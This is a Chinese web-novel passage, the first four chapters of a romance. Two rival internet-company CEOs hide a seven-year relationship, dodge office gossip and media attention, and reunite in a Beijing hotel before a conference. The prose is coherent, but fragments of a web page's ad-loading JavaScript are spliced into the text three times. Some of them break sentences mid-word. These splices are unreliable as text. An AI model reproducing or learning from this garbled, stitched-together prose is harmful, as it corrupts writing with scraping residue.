《北上广,北上广深》 1. 新春座谈会01 “呜呜呜呜——” 老旧的房子内,抽湿器不堪重负地发出嗡鸣。 最近一段时间,穗城的空气湿度始终维持在100%这个惊人的数据上,下午还有可能从中雨转成暴雨。 屋子外的对联被浸湿,甚至自上而下淌着红色的“泪水”。如果是游客路过,估计会以为这户人家里发生了一起可怖的案件,鲜血流淌了一地。 屋子内,由于抽湿器的尽职尽责,情况明显要比屋外好上了很多。 路翎随意地套了一件买来三年可能还穿不到十次的羊毛衫,又从衣柜里拿了一件博柏利的黑色长款风衣穿上。 看上去就像是随时要去潮人街走上一圈的那种酷哥。 白色的羊毛衫柔软地圈住他的脖颈,泛浅蓝色的血管对比之下有些扎眼。 他的皮肤敏感,这件羊毛衫穿的次数又不多,和皮肤接触到的地方都在微微发痒,他只能用左手摩挲一圈自己的脖子,试图催眠自己强行忽略掉那种不适的感受。 这类品牌的服装到底是没有定制的舒服,如果不是前段时间回南天,他常穿的衣服都还没有晾干,也不至于翻了半天衣柜才找到这套压箱底的衣服。 “路翎!今日三号喇! 紫荆小区9A101嗰户人嘅屋租收咗未呀?”母亲的声音自客厅传来。 (今天三号了!紫荆小区9A101那户人的房租收了吗?) “妈咪,我今天没空去收啊,你和爸吃完早茶刚好绕过去收一下不就行了?” 餐桌上,路翎双手捧着汤慢慢地喝着,大清早的,他原本还有点倦意,听母亲这么一喊,瞬间清醒了大半。 毫无疑问,收租是他最不喜欢的工作内容。 粤省早年的房地产商都是卡着七层楼的规定建的楼,这样就不用配备电梯,路翎从小到大就替爸妈跑上跑下,每天平均要替爸妈收一栋楼的租金。 从某方面来说,小路总也应该感谢自己的父母从小到大对自己的深刻锻炼,相比起同行业其他的老板们孱弱的身体和日渐发福的体型,路翎时至今日还能够维持优越的身材很难不归功于多年的辛苦锻炼。 “你少来,我问了小宋他们了,说你今天的工作就那点。”母亲谴责地说,“别以为我不知道,你后天就要飞北京找小商了是吧。” 他冲母亲比了个大拇指,果然什么都逃不过路女士的情报网。 “我们两个都好久没见了嘛。” “去去去,叫你收个房租都不行,哪来的大少爷喔,赶紧的,自己把碗给洗了。” 路翎乖巧地点头,将碗丢进了洗碗机里。 走出这栋藏在越秀区老旧居民楼的房子。 空气中弥漫着浓郁的湿润泥土的芬芳,路翎原本是想等到司机来接,刚走出大楼,助理就打了个电话过来:“老板,司机说您的车和人发生了刮擦,昨天晚上送去保养了。” 那就只能坐地铁了。 纪念堂站到体育西要转一次线,从二号线到三号线,路翎带着些许倦意,在地铁上打了个哈欠。 人挤人的早高峰时间,路翎难得地体会到了热闹的感觉——也可能热闹得有点过头了。 并没有多少挤地铁经验的小路总迷茫地靠在了门边,在人群涌动中被顺带挤出了车,历经艰难险阻,终于是到了自己的公司楼下。 刚刚不知道是谁咋咋呼呼地大喊:“欸!别踩!我的凉鞋被踩掉了!”刚刚挤出来的时候,路翎还看到一双鞋从附近的地板上滚了滚。 挤地铁也是一种难得的体验。他如是安慰着自己,又和一群公司的下属们在电梯里打了个照面。 “路总好!”“哇路总今天造型有点别致。”“路总早上好!” 大清早的,看见一贯坐私人电梯直达的老板出现在员工电梯里简直就是噩梦,几个嘴里还叼着油条甚至是捧着肠粉的员工面露绝望。 “早上好。”大概是意识到自己在电梯里的话员工们多半连吃都吃不好,路翎迈出了电梯。 他抬头看了一眼自己的办公楼,在22层。 ……不!自己绝对不会步行上去的。 他沉重地想。 他们公司的打卡时间快到了,路翎看了一眼自己的手表,自动换算了一下美国时间。 待会儿到办公室里可以和商赭打个电话。 周围的员工们急匆匆地赶上电梯,快到时间了,一个个都急切地看着秒表,倒是没有几个人会注意到电梯最里面的老板本人。 电梯间和茶水间一样,是公司的八卦集散中心。即使快到打卡的时间点,也拦不住大家细碎地吐槽。 “你们看论坛上的八卦了没有?他们飞文项目组的也太胆大了,连老板都造谣。” “哪个论坛?内网?还是行业的啊?最近我们部门累死了……不过飞文那边敢干这种事情也不奇怪吧,毕竟谐音绯闻部咯,本质上不就是舆论八卦小报,外加简直公关部门的职能。” “你能说出这话肯定是没看吧?这次他们造谣老板跟商氏集团的老板有一腿的那个新闻通稿笑死我了,太能编了。” 听到自己被提起,路翎不由得偷偷地竖起了耳朵。 “什么玩意儿?”周围其他几个本来不想参与到闲聊中的员工也不由得转过头开始嘀嘀咕咕了起来,众人拿出手机。 “这年头刷KPI真简单啊,造谣老板谈恋爱谈的死对头就轻轻松松完成了,我看看,三千多条回复?这还是前天晚上发的?疯了吧?” “主要是我们老板和商氏集团的老板认识吗?不认识吧……这不是王不见王的关系吗?” 路翎默默地把自己的毛绒领子往上拽了拽。 其实是认识的。 不仅是认识的,其实还真的在一起了七年了。 他感觉有点口干舌燥,脸上的温度有点高,开始盯着跳动的电梯数字。 刚刚聊八卦的几个员工陆续下了电梯,很快就只剩下了他一个。 最后一位下电梯的员工一路小跑到部门的打卡机处打了卡,终于赶上了最后的时间,她下意识回头看了一眼,就看见电梯上面的数字跳到了22上。 等等!22楼!? 想起来自己刚刚八卦了什么,她忍不住倒吸了一口凉气。 飞文事业群真的还能活过今天吗? …… 路翎回了自己的办公室,打开电脑,在热门上看见了那篇高达三千多个回复的帖子。 不得不说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,这篇内容写得还是很不错的,虽然内容大部分都是编的,但是却植入了大量雁翎集团的软广,甚至帖子底下也有不少其他业内的工作人员眼红地发问:“雁翎的工作待遇真的这么好?福利这么爽?求内推啊!” 小路总品鉴了一下,顺手分享给了商赭。 【^_^看,我的员工写的,有点意思欸。】 另一边很快地发来了回应。 【写得挺好的。但是全文只有一点不是谣言。】 路翎微微勾起嘴角,接话道:【只有什么不是谣言?雁翎集团福利好这点吗?】 【我和你在一起了这点不是谣言。】 这个家伙真的是,他努力地想要按捺住嘴角的笑容,但最终还是失败了。 门外传来了敲门的声音,小路总将手握紧成拳努力咳嗽了几声,维持住自己的冷静人设,按下了开门的按钮。 助理将今天早上的文件都捋了出来,放在办公桌上,顺带和路翎播报他今天的待完成事项。 今天的文件较多,路翎的OA系统上也有不少的新需求。坐到了他这个位置,需要处理的远不止这些表面上的工作量,时不时地也会有预约好的客人提前到访。 在路翎工作的时候,外面不出所料地下了一场大雨。 穗城的雨带走了地表上蒸腾的热气,他下意识地往落地窗外看过去,拍下雨中的城市,分享给了商赭。 那边很快就回以了一张旧金山的夜景,玻璃倒映出了商总的侧脸。 路翎下意识地保存了对方发过来的照片,手指摩挲了一下。 太久没见了。 有点想商赭了。 这附近除了高校就是各大企业,夜晚灯火通明。 从高处俯瞰,像是连接起城市的血管,无数星星点点的灯光将整座城市照亮。 商赭今天参加的是他导师的生日宴会,前几年的都推了,今年来美国谈生意,导师知道了以后再三邀请,无论如何都推不掉了才过来的。 在异国他乡和一群陌生人觥筹交错之余,商赭也不由得叹了口气。 两天的时间漫长得难以言喻,一想到后天才能和路翎见面,堂堂商氏集团的总裁又在众人面前沉重地叹了口气。 恰好聊到了纳斯达克指数的一位老板顿住,误以为自己刚刚说错了什么,就见到现如今资本市场炙手可热的这位“SHANG”远离了这一片区域走到了玻璃窗边。 他在玻璃上画了一个不显眼的爱心,拍下照片发给了远在大洋彼岸的爱人。 商赭在哪里,哪里就是这场小型宴会的核心。 加利福尼亚州的天气预报一向不准,原本说的是下午五点半时会下雨,现在晚上十点半了,一直悬着没有落下的雨却忽然落了下来。 一旁的一个老板出其不意地说道:“这个天气很适合砸电脑。” 在场的人纷纷笑了起来,两年前上映的《社交网络》电影让某位主人公原型大发脾气的新闻众人可是记忆犹新。 “到底什么样的人才会在玻璃窗上写数学公式?” “谁知道呢?”话题的发起人耸了耸肩。 “如果写的是笛卡尔公式就不奇怪了。”商赭轻笑了一声回答道。 2. 新春座谈会02 资本的夜晚总是充满了纸醉金迷,而路总却在这样的时间段里,冒着重重困难,终于挤过了晚高峰的地铁三号线。 以后除非必要,不然还是不要尝试在这个时间段挤地铁好了……或者问问员工们需不需要增加接送上下班的班车数量。 太可怕了。 当然,更为噩耗的还在回到家之后。 “今晚忘记做饭了,要不我们出去吃。”路女士拍了拍空无一物的冰箱,十分理直气壮地建议,“烧烤?大排档?麦X劳?肯X基?” 别的家长可能会觉得这些是垃圾食品,最近还有传闻说什么八只脚的鸡的,许多家长更是恨不得绕着走,但路女士却是一个例外,她比路翎还要钟情于这些美味的快餐。而且——“八只脚的鸡,多新鲜啊,还用塑料做成鸡蛋的,塑料的成本都比一个鸡蛋高好几倍了,这种话也有人信?跟斥一千万巨资造了八百万□□的一定是同一个老板吧。” “烧烤这个点没开吧?”路父十分兴奋地举手提名,“大排档吧。” 他的意见被路女士无视,她冲路翎扬着头说:“儿砸,妈咪想吃烧烤,要不我们再等个半个小时过去?” “我都行。” 爹妈两个人对视一眼,彼此之间迸发出熊熊战火,两个人同时盯向好大儿。 “不许我都行,你是我们家的关键一票!” 有时候觉得自己当初应该去居委会工作,反正走两步就是省/政/府。 路翎忍不住深深地叹了口气,给出了自己的建议:“我觉得你们两个可以石头剪刀布决定吃什么。” 三局两胜,路女士胜出,一家人轻松地决定了今天的晚餐是烧烤。 他顺手给桌子上的烧烤拍了张照片,顺带发给了自己的好友们。 依照他对这些人的了解,现在估计都在上班。 大学的同班同学们大多数都被邪恶的路总坑蒙拐骗进了雁翎集团工作,有的则去了对家公司,但是大家的班群倒是活跃得很。 甚至在路翎出现之前,还有人已经转发过了在行业论坛上的那条帖子在班群里,艾特了路翎这个当事人出来。 【笑死我了这个帖子说小路老板和商赭是一对的,大晚上的给我看清醒了。】 【我记得路翎大学的时候就已经有对象了吧,在海外的,就是没见过面,有时候放假都要飞过去找他对象。】 【说起来商赭也留学过……】 【喂!不要接受这么奇奇怪怪的设定啊!小路和商赭不可能吧!】 【这种东西会有人信才奇怪吧!】 等看见路翎的消息,原本还在八卦路翎的几个同学瞬间哀嚎道:“不公平!为什么老板都在吃夜宵了我们还在上班!” 为了回击,其中一个人在群里发了十几个美食视频,但效果只能说是伤敌五十自损一千,饿不到路翎,反而馋死了自己,还得到了其他人的一顿赛博毒打; 【我吃完就回去加班了。】 路翎安慰道。 他看了一眼手机,商赭回国的航班是今晚九点半落地的那趟,也不知道现在到了没有。 快到十点的时候,手机里才陆陆续续弹出了对方的短信回复。 【刚刚飞机下降暂时开了飞行模式,没看见你的信息,是吃的门口那家李叔的?】 【嗯嗯,我妈今天没做晚饭,专门等了半个钟过来吃的。】 如果有什么狗仔之类的人物捡到了商赭和路翎的手机,估计很难判断他们的真实身份。 这两个人在短信里其实很少聊到工作方面的事情,反而更多的是分享彼此的日常。 【想你了。】 商赭忽然发来这么一条没头没尾的消息,后面又忍不住跟了一个粉红色的爱心emoji。 路翎下意识地勾起嘴角,也回了一连串的小爱心。 【我也想你了。】 他们两个人聊天的内容如果让外人看见,估计会大跌眼镜。 世人眼里,后天的会议还是大众认知里路翎和商赭的第一次碰头。 毕竟往前几年,路翎的公司刚好在扩大规模,他本人忙得脚不沾地,恨不得直接在公司里睡了,大部分会议能推就推,或者让COO他们上,路翎本人根本没有时间过去。 小部分属于官方的会议倒是参加了,但也都仅限南方地区,和坐镇在北方的商氏集团更加难以扯上关系。 甚至有不少同行业的老板觉得他们这辈子都不会在手机里存对方的联系方式。 李叔的这家烧烤店在附近很有名气,不一会儿就已经坐满了人。从烧烤炉里涌起白雾,种种烧烤酱料的香气混合在一起,都市的夜生活已经悄然拉开了序幕。 不远处有人抱着吉他弹奏着,嘴里唱着的是一首很老的情歌。 那人的身前放着一顶帽子,里面装了零零碎碎的几张纸币。路翎在等烧烤烤好的间隙,打开了和商赭的视频通话。 这边是老城区,楼层大多数都比较矮,却也依旧看不清楚星空,因为更远处的高楼大厦和写字楼的光芒比星空还要璀璨。 他走上前,冲对方要过了吉他,突发奇想地弹奏起了一首无名的歌曲。 在他所坐的这个位置的右方,那栋大楼从它的不动产权归属到它内部的公司的创办者都有着同一个人的名字。 ——路翎。 商赭忍不住微笑起来。 雁翎集团十五层办公室的茶水间里,几位员工咕哝了起来。 “论坛有人说偶遇到大老板了,在街边吃烧烤,现在还在弹吉他。” “这个点吃烧烤?等等,老板今天居然没主动加班……还给人弹吉他?我们老板什么时候被夺舍了?真的假的啊?” “是不是单纯长得比较像而已?” “有视频!看一下!” 互联网公司的一大弊病就是经常需要加班,晚上十点多也还是工作时间。即使是雁翎集团这种良心企业,这个点还在工作的员工还是不少,得知有老板的八卦,纷纷围了过来。 可惜烧烤摊所在位置太远,员工们只能隔着一个视频享受老板本人的音乐。 “感觉好像练过。” “这是什么歌?怎么没听出来?” “应该是原创的吧……” 路翎表演了一分钟不到的弹奏就立刻回到了自己的座位上,没想到烧烤摊里顿时爆发出了一阵惊人的掌声。他提前把手机立在座位上,刚刚弹奏的时候也一直看着摄像头的方向,把自己弹奏的视频分享给了商赭。 【\好听/】 这家伙上哪学来的卖萌手段。 路翎抿住唇,不想承认自己确实被某位老板发的颜文字和可爱表情包给带得笑了起来,脸上故作严肃地咳嗽了两声,用手指关节敲了敲手机,提醒另一头的人。 【这可是我专门给你写的歌,你应该还有印象吧?】 在得到了肯定的答案以后,小路总又骄矜地点了点头。 就在这时,一个路人忽然走了过来。 路翎下意识地将手机反扣,本来以为对方只是简单路过,却见路人停在了自己身前的不远处,略有些忐忑不安地开口说道:“您好路先生,可以和您合个影吗?” 路翎迷茫地同意,没想到答应了一个以后,周围的人瞬间都挤了过来。 他眼神幽怨地看着坐在另一桌十分低调不为人知的父母,在无数眼神的注视下又啃了口手上的烤牛肉丸。 “诶诶,你们不要堵在这里啊,别影响我们顾客吃东西!” 老板拿着烧烤挤了过来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这位阿叔今年五十多了,开摊也有三十多年。 路翎家就在附近,从小到大也经常过来吃,他算是看着路翎从一个小不点长到这么大的,很是护短地帮忙赶走了像是围着什么稀有保护动物的自媒体和娱乐八卦小报记者们。 “当老板也挺惨的,我要是吃个烧烤还得被人当熊猫围观,估计就直接走了,老板居然还能撑到吃完这顿。” 看着论坛里实时的文字直播,几个员工小声地感慨起来,他们将手上的咖啡又晃了几下,试图制造出他们在茶水间里也并不完全就是什么事都没干一直在闲聊的假象。 部门主管第十次悄声无息地路过茶水间,往保温壶里加了点水,终于忍不住出声道:“我有个朋友刚好在附近,我这有一段视频,要不要看。” 模糊的视频中,孑然一身的路总坐在红色的小板凳上,脸上挂着充满营业性质的微笑,和闻风而来的路人们合影。 先前被路翎的夜宵刺痛心灵的大学同学们咬牙切齿地发来新闻链接。 [以下几个不同级别的孤独,你中了几个!] [当老板有什么好,还不是要一个人吃夜宵!] [震惊,连雁翎老板都亲自来吃的夜宵到底有多好吃!] 好嘛,现在看过这些报道的都知道自己“一个人过来吃夜宵”了,路翎下意识点开了最后一个链接,这是哪家媒体,语文怎么学的,烧烤不亲自吃难道还能找人代替自己吃? 结果翻了一下,居然还是自己手下的网媒。 飞文最近是不是太闲了。 路翎陷入了沉思。 一个事业群的KPI全靠编排自己家老板来完成。 有点过分了吧。 路翎将手上的签子丢进垃圾桶。 司机那边已经把车从4S店开回,接到路翎的电话,迅速就赶到了烧烤摊外接到了老板。 今天北京下了场小雪,飞机延误了一段时间。 路边的工人正在连夜泼着融雪剂。 “今晚的月亮很圆。”路翎在看到这轮月亮的时候,下意识地拨打了视频电话。 商赭将挡风玻璃降下,两个人一起静静地看着同一处月亮。 比起前几年,现在这样同处中华大地上都已经算不上什么异地恋了,起码能够在同一时刻抬头看见月亮。 车前座的司机注意到了后座的动静,下意识地放慢了车速。 商赭的手捏着手机,温柔的风自指缝中溜过。 路翎的发丝被微风吹得有些散乱,空气中传来桂花的幽香,他忍不住揉了揉自己的鼻尖,将衣服领子往上提了一些。 “想你了。”路总靠在自己的座椅上。 这辆车并不是公车,后座摆的不是那些商务招待用的东西,反而是一些小路总自己精心装饰的靠枕软垫,他抱住一旁的大白鹅玩偶,语气轻松地说道:“想你了,到时候我们酒店见。” “必须酒店里才见吗?”商赭的声音有些失真,不知道是不是路翎的错觉,这家伙怎么说得很委屈的样子,“我真的不能去接机吗?” “要是让你的下属们听到你这个声音估计要吓晕过去了。”路翎却表现得十分铁石心肠,“不可以——” 他拉长语调,忧心忡忡地说道:“被人看见了的话我们不和的流言还怎么散播。我大概中午到酒店,午休时间的话归你。后面休息的那几天你有什么想做的事情也可以陪你去。” 此时的小路总并没有意识到自己做错了一个多么糟糕的承诺。 “那是不是在酒店乖乖等路总到午休时间,接下来想对路总做什么事情都可以吗?” “……你是不是窗户还没升上去。” 没有抓住重点的路翎错过了自己的最后一次反悔机会。 3. 新春座谈会03 接下来的两天时间,路翎都忙得像陀螺一样,差点连每天晚上固定和商赭打视频通话的事情都忘在了脑后。 他忙得脚不沾地,却依旧抽出时间和商赭视频。 另一边的商总显然也没有到睡眠时间,两个人沉默地工作,在疲惫的时候看一眼同样在努力的对方,时不时地对最新出的一些政策进行商讨。 等好不容易把手头上的重要工作全部完成,路翎把剩下那些不重要的分门别类地甩给其他几位合伙人,这才终于放心地离开了公司。 白云机场T1航站楼内。 路翎的两位助理一人拖了一个小型的行李箱,刚好够携带上机的标准。 相比之下,作为老板的路翎显然狼狈了很多。 他这两个行李箱,第一个里面装的是“你妈觉得你冷”的厚重冬衣,到了北京就可以换上;第二个行李箱倒是空的,负责到时候再额外带一些东西回来,给母亲充当免费的代购。 按照行程,新春发布会以后,他们还有三天闲暇时间。 路总在这三天不会和下属们同行。 两位助理对视一眼,眼里闪过了喜悦的光芒。 他们定的位置相邻,此时已经飞快地啃起了配备的小零食。 飞机还在上升,路翎抽出了座位前方放置的经济类杂志和英文书刊,翻了两页,停在了其中的一期访谈上。 这份杂志是一周前更新的,是在加利福尼亚州的一次私人采访。 图片上的商赭身穿着白色的西装三件套,打了一条深色的领带。 拍照时他恰好推了推自己的眼镜框,银质的长方形框架带着儒雅的意味。 业界内的人都知道,这位商总即使是在应酬的时候,脸上也很少带着笑意,每每轮到他回答问题的时候也都是言简意赅地简短回答,甚至因此在采访界甚至有冷场之王的名号。 但在和采访的记者聊到今天的穿搭时,对方却难得地微笑起来,像是不经意地触碰了一下自己的胸针,上面镶嵌着一颗明亮的蓝宝石,只需要看一眼就能明白什么叫做天鹅绒一般的朦胧质感。 记者们下意识地看了过去,恰好对花语稍有研究的记者疑惑地挑起眉:“您这枚胸针是专门做了郁金香的造型?” 这份杂志在家里的时候路翎就已经翻阅过一次,还保存了电子版的,但他却依旧津津有味地读着上面的内容。 后续的发展并没有写在杂志上,但路翎却从商赭口中听说过,那位记者继续说:“我记得前段时间,苏富比佳士得拍卖行售出了一套产自克什米尔的矢车菊蓝宝首饰,其中就包含了……” “就是那块。”商赭点头。 克什米尔矿区作为矢车菊蓝宝的主要产地,在上百年前就已经绝矿,能够流落到拍卖行的矢车菊蓝宝可谓少之又少。 在拍卖会上甚至拍出了惊人的高价,如果不是与寻常的首饰套装不同,缺少了耳钉又多了一对袖扣,这并不符合大多数参与的女性拍卖者的偏好,显然竞拍的价格还会更高上一些。 图片中,商赭手上别着一对袖扣,而套装内的另一对袖扣,此时此刻就别在路翎的袖子上。 空姐在进入平流层以后好心地提示可以使用网络。 行政助理明灿适时地开口:“老板,COO那边说有事找您。” 路翎只得将这本杂志塞回了边上,拿出电脑连上了网络,COO那边要处理的并不是什么急事,两个人简单地交谈了几句,解决了问题后,路翎便开始辛勤地工作。 中途还不忘给对象偷偷摸摸发送短信。 【想你了TAT】 【刚刚又看了一次你的杂志耶。】 【彩信图片.JPG】 【等到京城了我就把手头的工作丢给助理去找你玩QAQ】 奇怪,飞机里的空调这么冷吗? 明助理忽然感觉一身恶寒,找空姐要了条新的毛毯给自己盖上。 云层簇拥在飞机的两侧,路翎没有拉下窗板,借着日光工作,偶尔累了往外看一眼,窗外的云朵仿佛触手可及。 等下了飞机,工作也依旧没有处理完毕,一旁的生活助理小秦在出机场前特地买了三杯咖啡,路翎硬生生往里加了两包白砂糖和一小杯奶才喝完的。 “老板,你这种下法真的不会甜腻死吗?”明灿下意识地后仰。 小秦也点了点头。 这几年网络上流行的总裁小说,男主不都应该是一脸冷酷,左手抓冰美式,右手抓工作,还能对着一不小心撞到自己的女主说什么“你在玩火”之类的吗。 他们老板除了工作狂和长得帅以外,其他的真的是一点不占啊。 路翎以前并不是没有尝试过冰美式,但是那个味道一进嘴里,他就一脸苦涩地咽了下去,很难想象,这个世界上居然还存在着比癍痧还要难喝的饮料。 明助理摇了摇头,倒退了一步,他手上拿着的就是冰美式,以此对路翎如此不能吃苦的行为表示嘲笑。 “我遇到你们就已经够苦了,就不用再给自己的生活增添痛苦了。”路翎幽幽地说。 “老板,禁止上司对员工进行言语打压,这是你自己定的规定。” 路翎面露沉重之色。 “我还不能无缘无故地扣你的工资一下。” “是的,你不能。路总,这是座谈会的请柬。” 这次要召开的座谈会旨在探讨近期行业内发展的热点与难点,围绕移动互联网的主题,对未来一年的产业发展方向进行预测,彼此分享自己的经验。 路翎也同样是需要上台发言的一员。 “老板,你的发言稿写完了没有?”明灿警惕地询问道。 路翎自信地拉着行李箱往前:“不用担心。”到时候他要说的都是专业方面的内容,不需要提前写好全部的演讲稿,有个大概的纲要就足够。 这类会议并不讲究太多,更多的时候看中的是老板本人的临场发挥和演讲能力。 京城初春的气温有所回暖,按照大屏幕上显示的,现在是零下三度,还没出机场,那股寒意就已经浸透了全身。 路翎和一旁的助理穿戴好了各自的装备。 行政助理明灿本来还想取笑一下老板拿出来的大红大绿的围巾,结果刚出机场,一张嘴就是一大口冷空气灌进了自己的嘴里,整个人都不得不缩回了衣服里面。 幸亏主办方提前预订了专门的商务车接送,已经等在门口了,要不然真的得冻死在首都机场这边的候车处不可。 从首都机场到酒店要开起码一个小时,协会的车辆摇不到牌号,但办理了长期进京证,能够接他们过去开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会的场地那边。 商务车的前座,还是第一次来京城出差的秦助理兴奋地和司机闲聊起来。 “哦,师傅您是北京人啊?我听说首都这车牌号是不是很难摇啊?” “我全家上下到现在都没有人摇到。” 有人捧场,司机倒是敞开了话匣,喋喋不休地从车牌号再聊到限行,知道他们是来参加新春发布会的,也时不时地聊起有关于互联网的话题。 在中关村这地方,如果路边的一块广告牌砸了下来,砸到的十个人里面有八个是在做互联网的,即使是司机都能说出个一二。 商务车的后座,路翎独自处理着总部的待办事宜,听着他们两个互相捧哏,身旁还坐着一个已经开始念起行程单的行政助理,只觉得自己脑门生疼。 发布会开头先是相关领导上台致辞,接着是路翎和商赭这些老板们的交流会,最后才到专家们的专题报告。 按照行程单的要求,路翎刚好要和商赭前后脚上台做报告,不少新闻媒体已经打算开始看起他们两个人的热闹。 这可是两位大佬级别人物的史诗级会晤。 据明助理向他认识的新闻媒体打听,这些人目前连通稿都已经写了三版,分为一见如故、形同陌路和势不两立的版本,就等着到时候去现场,看摄影师能抓拍到什么样的照片,前线记者再速记回传,后方改稿,一条龙服务,就为了能够抢到最早的、第一手的信息发布。 对于媒体而言,时间就是金钱啊! 车辆没有进地库,而是停在了酒店门口,路翎忍不住对冷风呵了口气。 要不然有人说北方的风堪比冷刀子割肉呢,这风刮过脸的时候一阵刺痛。一行人快步地走进了相对温暖舒适的酒店大堂。 路翎摘下了奶奶亲手打的红绿手套和毛巾抱在怀里,两位助理则拿着自己的行李去办入住。 也就是在这个时候,他身后的旋转玻璃门再次转动。 冷空气从门处闯入室内,他下意识看了过去,和商赭对上了视线。 商赭风尘仆仆地赶来,带来了满屋的冷意。 对方的动作里是藏不住的急切,在看见路翎以后,动作才放缓了下来。 两个人对视了一眼,商赭的眼神温柔而又缱绻,像一座冰山终于迎来了春暖花开的时候,路翎下意识地勾起唇,冲商赭眨眨眼。 商总现在的打扮与杂志上的不同。 他的脖子上环着黑白相间的围巾,身上穿着和路翎如出一辙的黑色风衣,双手插兜,稍微露出来一副漆黑色的皮质手套,整个人看上去天然带着一种具有攻击性的帅气。 相比之下,把自己团成一颗毛绒绒的羽毛球一样的路总,反倒更像是个二十岁出头的青少年。 两个人对视着,明明什么话都没有说,却又像是一切尽在不言中一样,所有话语都只靠着刚刚的那个眼神就交流完毕。 商赭走到了路翎的身前,视线微妙地停留在后者抱着的围巾和手套上。 附近的迎宾人员在看见商赭的车停在门口的时候就已经训练有素地抢着接过了客人们手上的行李箱,试图在老板面前争个表现。商赭的助理下意识地驻足,停在了老板身后,和雁翎集团的两位助理打了个照面。 这个,算不算是网络上说的史诗级别的修罗场啊。 4. 新春座谈会04 “很大胆的撞色。”商老板如是作出评价。 在场的几位助理纷纷屏住了呼吸,明助理脸色微变,这句话听上去是不是有点像是嘲讽? 诚然,红绿色在一般人的身上是相当灾难的颜色,但在路翎身上的时候,意外地还算讨喜。 即使是酒店大堂阅人无数的工作人员们也必须承认,有些衣服真的全靠人衬托出来的,只要人长得够帅,就算是穿多糟糕的衣服都依旧能有一股潇洒的风范。 他们也认出来了顶头上司和另一家公司的大老板两个人的身份。 这次新春发布会选在他们酒店真的赚大了。前台忍不住在内心握拳,别的不说,光遇到这两位帅哥大老板都已经够本了。 明助理张了张嘴,还没开口,就被路翎伸手拦了下来。他微笑着反驳对方:“不论穿什么,似乎都比商总要风度不要温度的好。” 他观察着商赭的打扮,对方身上的风衣敞开,毫无保暖作用,内里穿着的也是同样没有什么用的西装马甲,看着就让人下意识替他打个哆嗦。 就连一旁跟着商赭的那位秘书都起码穿了件绒毛开衫呢。 “我从小到大习惯了。” 从履历上来看,商总打小在北京长大,后来高中的时候就又去了北美,在耐冷这方面确实进化得更先进一些。 路翎对此不予置评,京城的冷更多的是一种物理攻击上的冷,虽然不会混着雨刺入身体,但那些冷飕飕的风像利刃一样,刮在没有保护完备的皮肤上时,简直就是一种酷刑。 “从小到大?按照商老板这样的穿法,上了年纪以后会不会得老寒腿?”他的眼神带着些许揶揄。在这么多人的面前演戏对路翎来说是一种难得的挑战,不得不说,有点好玩。 似乎是看懂了路翎跃跃欲试的眼神,商赭的嘴角微微上扬,他像是警告一样地往前一步,在没有人注意到的情况下微微往前倾身,贴在路翎的耳侧轻声地说道:“亲爱的,好玩吗?” 好玩。路翎的眼神回答了他的这个问题。 周围时不时会有行人路过。助理们猜到他们有些话不方便被听见,纷纷走到了前台的位置。 而这两个人就站在大厅的中间,长得又高又帅,被那些路人们认出来身份的可能性极高。 路翎轻笑了一声:“商总叫得这么热络啊。” 他们现在可不能再贴着了,要不然被八卦记者之类的看见了很容易被编排。 商赭闻言,从善如流地倒退了一步,和路翎保持着一个恰到好处的距离。 两个人四目相对,路翎微微扬声道:“商总可千万要小心一点自己的身体。别后半生得了老寒腿,疼得冬天里走不动道。” 在不远处刚刚把行李箱放到了架子上的侍应生们回过头时刚好听到了路翎的这句话。 这两位老总的关系果然很不好啊。 居然在大庭广众之下就这么互相冷嘲热讽起来了。 “那就多谢路总多余的关心了。” 在等助理们办理入住手续的这段时间里,裹成一个团子似的路翎也不是什么事情都不做,就这么慢吞吞地往电梯的方向挪动自己的脚步。 这家酒店是商氏集团名下的,会专门给这位大老板提前留下套房。 而像路翎这种常年需要全世界到处飞的人,一直以来也都会特意包下酒店的几个房间打通,装修成了自己喜欢的样式,每天都有专门的人打扫。 两个人的房间就这么正正好地在同一层,瓜分了走廊的左右两侧。 多年以来也不是没有员工心生疑窦,但考虑到这一层又被称之为俯瞰京城的最高楼层,两个老板大概是在互相较劲吧,总不能让他们屈尊于他人之下。 他们都和协会打过招呼,先前没有定自己的房间。 早在前一天就已经知道集团现在最大的老板要在酒店下榻,酒店的人几乎是每隔几个小时就要去把预留的房间打扫一遍,还有专门的经理盯着,确保万无一失,保证找不到一丝一毫的差错。 两边的助理同时回来,在两位老板的不经意间,五个人就挤到了同一趟电梯里。 商赭的助理和路翎的两个助理在23层的时候就出了电梯,电梯里只剩下他们两个。 “不是说你也想我了嘛。”路翎说话的时候忍不住拽了拽商赭的领带,“我人在这呢,怎么不说话了。” 他瞥了一眼监控,在确认自己所处的位置是监控死角以后,右手的尾指勾住了商赭的左手。 两个人在明面上完全没有任何的接触,哪怕是监控器里看也只能看到两位CEO冷脸并肩的身影。 商赭反手握住了路翎的手,被对方挠了挠手心,忍不住微微偏头看了看玩心极重的小路总。 “有些话在公开场合说的话我怕你会脸红得太明显。” 商赭也勾住了路翎的小尾指,缓慢地用大拇指的指腹按压着,极具暗示意味的语气,两个人对视一眼,路翎深呼吸了一口气,用舌头抵住上颚。 两个行李箱早已经被那些侍应生们送到了房间里面。 “我倒是想听听商总不敢在公开场合说的东西是什么。”路翎轻笑着把皮球踢了回去,52层的监控器仅安装在电梯门口的这一片地方,确认每天都有什么人出入。 总裁们对自己的隐私极其重视,当然不会允许在走廊之类的地方安装摄像头。 两个人在电梯里装不熟,到了走廊的时候,就已经牵起了彼此的手,路翎忍不住揉了揉商赭的手掌心。 “装不熟好累。” 就这么几分钟的时间,路翎已经忍不住开始叹气了。 每次和商赭对视的时候都有一种想要过去亲一下对方的冲动。 异地恋好不容易见面,结果人前连恩爱都不能秀,哪有这样的道理。 眼见着窗帘被拉上,路翎轻笑了一声:“这里是52层,外面看不见吧。” 他自己反手关门,落锁的时候发出咔嗒的一声脆响。 屋子里此时此刻变得一片漆黑。 大白天的,借着外面的阳光也能看见对方的轮廓。 寂静的室内,某种不可言说的氛围正在缓慢地增长,他们缓慢地走向了对方。 在一片黑暗中,路翎扯了扯商赭的领带,他动作轻快,修长的手指在商赭的喉结上划过。 